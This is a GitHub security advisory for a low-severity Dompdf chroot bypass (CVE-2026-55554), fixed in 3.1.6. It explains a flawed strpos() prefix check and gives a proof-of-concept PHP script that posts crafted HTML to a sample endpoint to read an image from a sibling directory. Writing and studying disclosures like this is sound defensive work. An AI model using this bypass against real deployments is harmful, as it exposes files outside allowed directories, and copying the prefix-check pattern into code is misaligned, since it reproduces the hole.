GitHub Advisoryadvisory · Packagist
GHSA-wvh6-f5jh-8gw4 Dompdf: Chroot Validation Bypass
LOW
Official page ↗
- Aliases
- CVE-2026-55554
- Ecosystem
- Packagist
- Packages
- dompdf/dompdf
- Severity
- Low
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-20, CWE-22
- Reviewed
- 2026-07-22
Affected packages
• Packagist dompdf/dompdf: < 3.1.6 → fixed in 3.1.6
Description
Summary
The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.
This allows attacker-controlled document paths/resources to bypass intended local file restrictions.
Details
The `validateLocalUri()` method is used to check if a local file is within an allowed chroot directory. After normalization with `realpath()`, this check is performed with a `strpos()` comparison:
```
public function validateLocalUri(string $uri)
{
...
$realfile = realpath(str_replace("file://", "", $uri));
...
foreach ($dirs as $chrootPath) {
$chrootPath = realpath($chrootPath);
if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {
$chrootValid = true;
```
Due to the normalization, the `$chrootPath` string does not have a terminating directory separator (`/`) appended. Because of this, the `strpos()` check only validates that `$chrootPath` is a _prefix_ of `$realfile`. This allows access to folders with similar names that fall outside of the defined chroot restrictions.
For example, a chroot setting of `/var/www/` would be normalized to `/var/www`, removing the trailing `/`. During `strpos()`, a `$chrootPath` of `/var/www` will also match a `$realfile` starting with `/var/www2`, `/var/www-admin`, or `/var/www_backup`, despite these being different directories.
PoC
With a directory structure similar to:
```
/home/dompdf/
|--> web/
|--> pdf.php
|--> cat0.jpg
|--> web-admin/
|--> cat1.jpg
```
And web-accessible Dompdf functionality similar to the following (poc.html):
```
setChroot(['/home/dompdf/web/']);
$dompdf = new Dompdf($options);
$dompdf->loadHtml($_POST['html']);
$dompdf->render();
$dompdf->stream();
?>
```
A malicious actor can exploit the vulnerability with the following script:
```
$html =
within chroot
outside of chroot
HTML;
$url = 'http://example.com/poc.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];
// use key 'http' even if you send the request to https://...
$options = [
'http' => [
'header' => $headers,
'method' => 'POST',
'content' => http_build_query($data),
'ignore_errors' => true,
],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);
```
When the PDF is generated, both `jpg` files are loaded successfully despite the `cat1.jpg` file being outside of the allowed chroot.
Impact
An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.
Related
Alias · CVE (1)
- CVE-2026-55554 Dompdf is an HTML to PDF converter for PHP. vulnerability